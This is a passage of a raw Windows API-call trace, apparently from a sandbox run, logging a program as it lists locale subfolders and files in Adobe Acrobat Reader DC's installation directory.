ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0245.191] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0245.191] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0245.191] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0245.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0245.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0245.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0245.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0245.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0245.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0245.192] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0245.193] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0245.193] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0245.193] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0245.193] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0245.193] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0245.193] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0245.193] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0245.194] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0245.194] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0245.194] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0245.194] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0245.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202eceb0) returned 1 [0245.194] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece70) returned 1 [0245.194] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecf70) returned 1 [0245.194] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls", nBufferLength=0x105, lpBuffer=0x202eca10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls", lpFilePart=0x0) returned 0x71 [0245.194] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\*", lpFindFileData=0x202ecc90 | out: lpFindFileData=0x202ecc90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0245.195] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.195] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0245.195] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0245.195] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0245.195] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0245.195] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0245.195] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0245.196] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0245.196] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0245.196] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0245.196] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0245.196] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0245.196] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0245.196] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0245.196] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0245.197] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0245.197] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0245.197] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0245.197] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0245.197] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0245.197] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0245.197] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0245.197] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0245.198] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0245.198] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x202ecc50 | out: lpFindFileData=0x202ecc50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0245.198] FindNextFileW (in: 